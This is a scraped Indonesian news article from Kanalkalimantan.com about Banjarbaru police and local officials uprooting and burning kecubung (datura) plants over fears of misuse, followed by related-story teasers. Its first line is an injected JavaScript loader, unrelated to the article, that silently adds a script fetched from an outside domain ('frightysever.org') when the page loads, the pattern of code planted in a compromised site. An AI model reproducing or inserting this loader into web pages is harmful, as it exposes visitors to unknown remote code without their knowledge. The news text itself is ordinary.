(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Sektor (Polsek) Banjarbaru Utara bersama pihak kelurahan dan tokoh masyarakat memusnahkan tanaman kecubung yang didapat dari dua lokasi di Kota Banjarbaru, Senin (15/7/2024) pagi.
Sedikitnya ada 19 batang tanaman kecubung yang letaknya satu pohon berada di Kelurahan Loktabat Utara dan 18 batang pohon berlokasi di Kelurahan Guntung Paikat.
Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono mengungkapkan bahwa satu pohon didapati lengkap dengan bunga dan buah kecubung.
Baca juga: Harga Obat di Indonesia Mahal karena Biaya Gratifikasi Oknum Dokter
Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono. Foto: Humas Polsek Banjarbaru Utara
“Batang pohon kecubung itu kita cabut dan dimusnahkan dengan cara dibakar di halaman Mapolsek Banjarbaru Utara,” ujar Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono.
Pemusnahan pohon kecubung ini, kata dia, merupakan respon cepat informasi dari masyarakat melalui Bhabinkamtibmas karena dikhawatirkan terjadi penyalahgunaan.
“Kita imbau kepada masyarakat apabila melihat pohon seperti ini silahkan melapor ke Bhabinkamtibmas ataupun Polsek terdekat,” tuntas Kapolsek.
Baca juga: Cek Kehadiran dan Kerapian Seragam ASN saat Apel Gabungan Pemkab HSU
Sementara itu, Lurah Guntung Paikat, Muhammad Ariffin mengatakan pohon kecubung itu tumbuh di depan salah satu rumah warga dan daunnya sudah lama digunakan sebagai obat.
“Mau tidak mau suka tidak suka kita harus musnahkan, tumbuh liar di pekarangan, bukan ditanam pribadi. Kita tidak tahu berapa lama sudah tertanam tapi infonya sudah lama karena sebelumnya dipotong, tapi tumbuh lagi,” ujar Lurah Guntung Paikat, Muhammad Ariffin.
Dalam pemusnahan ini pula disampaikan imbauan kepada warga terkait efek bahaya dari tanaman yang sedang viral itu.
Baca juga: Dituntut 15 Bulan Penjara, Terdakwa Kasus Dugaan Kekerasan Murid PAUD Banjarmasin Minta Bebas
Kendati demikian katanya, hingga saat ini warga belum ada yang melapor terkait adanya pemakai dari tanaman itu sebab kebanyakan warga telah mengetahui efek sampingnya.
“Yang jelas apabila ada barang atau tanaman kecubung ini cepat laporkan ke kelurahan dan akan kita musnahkan,” tandasnya.(Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.